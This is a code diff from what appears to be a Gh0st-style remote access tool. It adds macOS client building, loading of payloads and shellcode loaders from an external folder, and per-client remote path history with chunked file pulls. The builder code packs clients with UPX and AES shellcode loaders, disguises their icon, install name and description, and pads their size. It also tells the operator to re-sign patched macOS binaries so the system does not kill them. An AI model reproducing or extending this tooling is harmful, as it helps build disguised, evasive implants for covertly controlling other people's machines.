<ClCompile Include="TriggerSettingsDlg.cpp" /> <ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c"> <ClCompile Include="..\..\client\MemoryModule.c">

View File

@@ -81,6 +81,7 @@
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" /> <ClCompile Include="msvc_compat.c" />
<ClCompile Include="PluginSettingsDlg.cpp" /> <ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="PreviewTipWnd.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" /> <ClCompile Include="TriggerSettingsDlg.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
@@ -185,6 +186,7 @@
<ClInclude Include="WebPage.h" /> <ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" /> <ClInclude Include="SimpleWebSocket.h" />
<ClInclude Include="PluginSettingsDlg.h" /> <ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
@@ -323,6 +325,10 @@
<None Include="res\3rd\rcedit.exe" /> <None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" /> <None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" /> <None Include="res\3rd\SCLoader_64.exe" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="..\..\macos\ghost" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Text Include="..\..\ReadMe.md" /> <Text Include="..\..\ReadMe.md" />

View File

@@ -10,6 +10,8 @@
#include "InputDlg.h" #include "InputDlg.h"
#include <bcrypt.h> #include <bcrypt.h>
#include <wincrypt.h> #include <wincrypt.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#include "Resource.h" #include "Resource.h"
extern "C" { extern "C" {
#include "client/reg_startup.h" #include "client/reg_startup.h"
@@ -26,6 +28,7 @@ enum Index {
IndexGhostMsc, IndexGhostMsc,
IndexTestRunMsc, IndexTestRunMsc,
IndexLinuxGhost, IndexLinuxGhost,
IndexMacGhost,
OTHER_ITEM OTHER_ITEM
}; };
@@ -49,11 +52,66 @@ std::string GetPwdHash();
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
LPBYTE ReadResource(int resourceId, DWORD &dwSize) // 获取程序目录下 res 子目录的路径
static CString GetResDirectoryPath()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL, szPath, MAX_PATH);
PathRemoveFileSpec(szPath);
PathAppend(szPath, _T("res"));
return CString(szPath);
}
// 从外部文件读取资源(优先级高于内嵌资源)
static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
{
if (!resName || !resName[0]) {
return NULL;
}
CString resDir = GetResDirectoryPath();
CString filePath;
filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
// 检查文件是否存在
if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
return NULL;
}
// 打开文件
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
// 获取文件大小
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
CloseHandle(hFile);
return NULL;
}
// 分配内存并读取文件
dwSize = (DWORD)fileSize.QuadPart;
LPBYTE buffer = new BYTE[dwSize];
DWORD bytesRead = 0;
if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
delete[] buffer;
CloseHandle(hFile);
dwSize = 0;
return NULL;
}
CloseHandle(hFile);
return buffer;
}
// 从内嵌资源读取
static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
{ {
dwSize = 0; dwSize = 0;
auto id = resourceId; HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
if (hResource == NULL) { if (hResource == NULL) {
return NULL; return NULL;
} }
@@ -76,6 +134,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
return r; return r;
} }
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
{
dwSize = 0;
// 1. 优先尝试从 res 目录读取外部文件
if (resName && resName[0]) {
LPBYTE data = ReadResourceFromFile(resName, dwSize);
if (data) {
return data;
}
}
// 2. 回退到内嵌资源
return ReadResourceFromEmbedded(resourceId, dwSize);
}
// ========== res 目录外部资源文件名定义 ==========
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
// 架构x86 / x64 / linux / macos
namespace ResFileName {
// Ghost 主程序
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos"; // 预留
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
// ServerDll
const char* SERVERDLL_X86 = "serverdll_x86.dll";
const char* SERVERDLL_X64 = "serverdll_x64.dll";
// TinyRun
const char* TINYRUN_X86 = "tinyrun_x86.exe";
const char* TINYRUN_X64 = "tinyrun_x64.exe";
// SCLoader (Shellcode加载器)
const char* SCLOADER_X86 = "scloader_x86.bin";
const char* SCLOADER_X64 = "scloader_x64.bin";
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
// FRP 相关 (无架构区分64位DLL)
const char* FRPC_DLL = "frpc.dll";
const char* FRPS_DLL = "frps.dll";
// 工具
const char* UPX_EXE = "upx.exe";
const char* RCEDIT_EXE = "rcedit.exe";
}
CString GenerateRandomName(int nLength) CString GenerateRandomName(int nLength)
{ {
@@ -180,10 +286,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0); BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
std::string ReleaseEXE(int resID, const char* name) std::string ReleaseEXE(int resID, const char* name, const char* resName)
{ {
DWORD dwSize = 0; DWORD dwSize = 0;
LPBYTE data = ReadResource(resID, dwSize); LPBYTE data = ReadResource(resID, dwSize, resName);
if (!data) if (!data)
return ""; return "";
@@ -312,7 +418,7 @@ void CBuildDlg::OnBnClickedOk()
MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING); MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING);
return; return;
} }
if (index == IndexLinuxGhost) { if (index == IndexLinuxGhost || index == IndexMacGhost) {
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_SliderClientSize.SetPos(0); m_SliderClientSize.SetPos(0);
} }
@@ -329,42 +435,53 @@ void CBuildDlg::OnBnClickedOk()
startup = std::map<int, int> { startup = std::map<int, int> {
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC}, {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
} [index]; } [index];
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
break; break;
case IndexGhost: case IndexGhost:
file = "ghost.exe"; file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE; typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
break; break;
case IndexGhostMsc: case IndexGhostMsc:
file = "ghost.exe"; file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE; typ = CLIENT_TYPE_ONE;
startup = Startup_GhostMsc; startup = Startup_GhostMsc;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
break; break;
case IndexTestRunMsc: case IndexTestRunMsc:
file = "TestRun.exe"; file = "TestRun.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
typ = CLIENT_TYPE_MEMDLL; typ = CLIENT_TYPE_MEMDLL;
startup = Startup_TestRunMsc; startup = Startup_TestRunMsc;
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
break; break;
case IndexServerDll: case IndexServerDll:
file = "ServerDll.dll"; file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL; typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
break; break;
case IndexTinyRun: case IndexTinyRun:
file = "TinyRun.dll"; file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE; typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize); szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
break; break;
case IndexLinuxGhost: case IndexLinuxGhost:
file = "ghost"; file = "ghost";
typ = CLIENT_TYPE_LINUX; typ = CLIENT_TYPE_LINUX;
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize); szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
break;
case IndexMacGhost:
file = "ghost";
typ = CLIENT_TYPE_MACOS;
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
break; break;
case OTHER_ITEM: { case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file); m_OtherItem.GetWindowTextA(file);
@@ -470,7 +587,8 @@ void CBuildDlg::OnBnClickedOk()
} else { } else {
if (sel == CLIENT_COMPRESS_SC_AES) { if (sel == CLIENT_COMPRESS_SC_AES) {
DWORD dwSize = 0; DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize); LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
if (data) { if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen()); int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) { if (iOffset != -1) {
@@ -534,7 +652,8 @@ void CBuildDlg::OnBnClickedOk()
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本 } else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
sel == CLIENT_COMP_SC_AES_OLD_UPX) { sel == CLIENT_COMP_SC_AES_OLD_UPX) {
DWORD dwSize = 0; DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize); LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
if (data) { if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen()); int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) { if (iOffset != -1) {
@@ -586,7 +705,18 @@ void CBuildDlg::OnBnClickedOk()
std::vector<char> padding(size, time(0)%256); std::vector<char> padding(size, time(0)%256);
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1); WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
} }
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip;
// macOS binary 被 patch 后签名失效AMFI 会 SIGKILL。提醒走 install.sh
// (内部会 ad-hoc 重签) 或手动 codesign。
if (typ == CLIENT_TYPE_MACOS) {
successMsg += "\r\n\r\n";
successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。");
successMsg += "\r\n";
successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。");
successMsg += "\r\n";
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
}
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
} }
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return; if (index == IndexTestRun_DLL) return;
@@ -650,6 +780,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务"); m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务"); m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL); m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
@@ -751,9 +882,34 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
return ""; return "";
} }
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
// - 架构 (m_ComboBits)Linux/macOS binary 是固定架构的预编译资源
// - 加壳 (m_ComboCompress)UPX / ShellCode AES 等都是 Windows PE 概念
// - 高级 group安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
{
static const int ids[] = {
// 架构
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
// 加壳
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
// 高级 group + 内部所有控件
IDC_STATIC_BUILD_ADVANCED,
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE,
IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL,
};
for (int id : ids) {
if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable);
}
}
void CBuildDlg::OnCbnSelchangeComboExe() void CBuildDlg::OnCbnSelchangeComboExe()
{ {
auto n = m_ComboExe.GetCurSel(); auto n = m_ComboExe.GetCurSel();
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
if (n == OTHER_ITEM) { if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|")); CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) { if (!name.IsEmpty()) {

View File

@@ -3,9 +3,42 @@
#include "Buffer.h" #include "Buffer.h"
#include "LangManager.h" #include "LangManager.h"
LPBYTE ReadResource(int resourceId, DWORD& dwSize); // 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
std::string ReleaseEXE(int resID, const char* name); std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
// ========== res 目录外部资源文件名定义 ==========
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
// 架构x86 / x64 / linux / macos
namespace ResFileName {
// Ghost 主程序
extern const char* GHOST_X86;
extern const char* GHOST_X64;
extern const char* GHOST_LINUX;
extern const char* GHOST_MACOS; // 预留
// TestRun 加载器
extern const char* TESTRUN_X86;
extern const char* TESTRUN_X64;
// ServerDll
extern const char* SERVERDLL_X86;
extern const char* SERVERDLL_X64;
// TinyRun
extern const char* TINYRUN_X86;
extern const char* TINYRUN_X64;
// SCLoader (Shellcode加载器)
extern const char* SCLOADER_X86;
extern const char* SCLOADER_X64;
extern const char* SCLOADER_X86_OLD;
extern const char* SCLOADER_X64_OLD;
// FRP 相关 (无架构区分64位DLL)
extern const char* FRPC_DLL;
extern const char* FRPS_DLL;
// 工具
extern const char* UPX_EXE;
extern const char* RCEDIT_EXE;
}
CString BuildPayloadUrl(const char* ip, const char* name); CString BuildPayloadUrl(const char* ip, const char* name);
@@ -71,4 +104,7 @@ public:
CString m_sDownloadUrl; CString m_sDownloadUrl;
afx_msg void OnBnClickedCheckFileserver(); afx_msg void OnBnClickedCheckFileserver();
afx_msg void OnCbnSelchangeComboPayload(); afx_msg void OnCbnSelchangeComboPayload();
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group
void EnableWindowsOnlyControls(BOOL enable);
}; };

View File

@@ -5,6 +5,7 @@
#include "CRcEditDlg.h" #include "CRcEditDlg.h"
#include "afxdialogex.h" #include "afxdialogex.h"
#include "Resource.h" #include "Resource.h"
#include "BuildDlg.h"
// CRcEditDlg 对话框 // CRcEditDlg 对话框
@@ -78,10 +79,9 @@ void CRcEditDlg::OnOK()
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION); MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
return; return;
} }
std::string ReleaseEXE(int resID, const char* name);
int run_cmd(std::string cmdLine); int run_cmd(std::string cmdLine);
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe"); std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe", ResFileName::RCEDIT_EXE);
if (rcedit.empty()) { if (rcedit.empty()) {
MessageBoxL("解压程序失败无法操作PE!", "提示", MB_ICONINFORMATION); MessageBoxL("解压程序失败无法操作PE!", "提示", MB_ICONINFORMATION);
return; return;

View File

@@ -8,8 +8,13 @@
#include "InputDlg.h" #include "InputDlg.h"
#include "ZstdArchive.h" #include "ZstdArchive.h"
#include "2015RemoteDlg.h" #include "2015RemoteDlg.h"
#include "CDlgFileSend.h"
#include <Shlobj.h> #include <Shlobj.h>
// V2 接收用:定义在 CPasswordDlg.cpp按本仓约定就地前置声明
std::string GetPwdHash();
std::string GetHMAC(int offset);
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
#undef THIS_FILE #undef THIS_FILE
@@ -25,6 +30,24 @@ static UINT indicators[] = {
#define MAX_SEND_BUFFER 65535 #define MAX_SEND_BUFFER 65535
#define MAX_RECV_BUFFER 65535 #define MAX_RECV_BUFFER 65535
// 静态成员变量定义 - 历史路径记录
CString CFileManagerDlg::s_strLocalHistoryPath;
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
CLock CFileManagerDlg::s_lockHistory;
// 获取有效的客户端ID基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
// 这里仅在它们都拿不到时(老客户端没走 auth通过 IP 反查主连接做兜底。
uint64_t CFileManagerDlg::GetClientID() const
{
uint64_t id = CDialogBase::GetClientID();
if (id != 0) return id;
// 老客户端兜底:通过 IP 找主连接获取 ClientID线程安全
if (g_2015RemoteDlg && m_ContextObject) {
return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
}
return 0;
}
typedef struct { typedef struct {
LVITEM* plvi; LVITEM* plvi;
CString sCol2; CString sCol2;
@@ -137,10 +160,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads) ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome) ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch) ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop) ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads) ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome) ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch) ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
ON_COMMAND(IDM_TRANSFER, OnTransfer) ON_COMMAND(IDM_TRANSFER, OnTransfer)
ON_COMMAND(IDM_RENAME, OnRename) ON_COMMAND(IDM_RENAME, OnRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal) ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
@@ -156,6 +181,8 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage) ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone) ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone)
ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress) ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CFileManagerDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CFileManagerDlg::OnRecvFileV2Complete)
//}}AFX_MSG_MAP //}}AFX_MSG_MAP
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress) ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress) ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
@@ -494,6 +521,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
} }
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path); ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
// 记录本地历史路径
if (m_Local_Path.GetLength() > 0) {
CAutoCLock lock(s_lockHistory);
s_strLocalHistoryPath = m_Local_Path;
}
} }
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
@@ -966,6 +999,30 @@ void CFileManagerDlg::OnReceiveComplete()
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed); ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
} }
break; break;
case TOKEN_CLIENTID:
break;
case COMMAND_SEND_FILE_V2:
case COMMAND_FILE_COMPLETE_V2: {
// V2 下载(远程→本地):客户端把 chunk 通过 FileManager 子连接推回服务端。
// 此函数在 NotifyProc -> worker 线程上调用。窗口创建/UI 操作必须回 UI 线程,
// 否则消息泵不通,进度框不会显示(落盘可在任意线程,影响仅限 UI
// 拷贝数据后 PostMessage 回自己UI 线程的 OnRecvFileV2Chunk/Complete 处理。
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
unsigned len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
size_t minSize = (buf[0] == COMMAND_FILE_COMPLETE_V2)
? sizeof(FileCompletePacketV2) : sizeof(FileChunkPacketV2);
if (len >= minSize) {
// 两种结构 cmd/transferID 偏移一致,可共用 FileChunkPacketV2 取 transferID
uint64_t transferID = ((FileChunkPacketV2*)buf)->transferID;
UINT msg = (buf[0] == COMMAND_FILE_COMPLETE_V2)
? WM_RECVFILEV2_COMPLETE : WM_RECVFILEV2_CHUNK;
// 用 std::pair<vector,uint64> 当 wParam 载体UI 端 delete
auto* payload = new std::pair<std::vector<BYTE>, uint64_t>(
std::vector<BYTE>(buf, buf + len), transferID);
PostMessage(msg, (WPARAM)payload, 0);
}
break;
}
default: default:
SendException(); SendException();
break; break;
@@ -1024,6 +1081,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path); m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
m_Remote_Directory_ComboBox.SetCurSel(0); m_Remote_Directory_ComboBox.SetCurSel(0);
// 记录远程历史路径按客户端ID区分
uint64_t clientID = GetClientID();
if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
CAutoCLock lock(s_lockHistory);
s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
}
// 得到返回数据前禁窗口 // 得到返回数据前禁窗口
m_list_remote.EnableWindow(FALSE); m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0); m_ProgressCtrl->SetPos(0);
@@ -1594,6 +1658,57 @@ void CFileManagerDlg::OnRemoteSearch()
} }
} }
void CFileManagerDlg::OnLocalHistory()
{
// 跳转到上次打开的本地文件夹
CString historyPath;
{
CAutoCLock lock(s_lockHistory);
historyPath = s_strLocalHistoryPath;
}
if (historyPath.IsEmpty()) {
ShowMessage(_TR("没有本地历史记录"));
return;
}
// 检查目录是否存在
if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
return;
}
m_Local_Path = historyPath;
FixedLocalFileList(".");
}
void CFileManagerDlg::OnRemoteHistory()
{
// 跳转到上次打开的远程文件夹按客户端ID区分
uint64_t clientID = GetClientID();
if (clientID == 0) {
ShowMessage(_TR("无法识别远程主机"));
return;
}
CString historyPath;
{
CAutoCLock lock(s_lockHistory);
auto it = s_mapRemoteHistoryPath.find(clientID);
if (it != s_mapRemoteHistoryPath.end()) {
historyPath = it->second;
}
}
if (historyPath.IsEmpty()) {
ShowMessage(_TR("没有远程历史记录"));
return;
}
m_Remote_Path = historyPath;
GetRemoteFileList(".");
}
void CFileManagerDlg::OnLocalView() void CFileManagerDlg::OnLocalView()
{ {
